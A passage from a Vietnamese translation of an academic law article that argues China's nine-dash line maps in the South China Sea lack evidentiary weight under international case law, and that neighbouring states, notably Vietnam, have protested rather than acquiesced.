(chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN 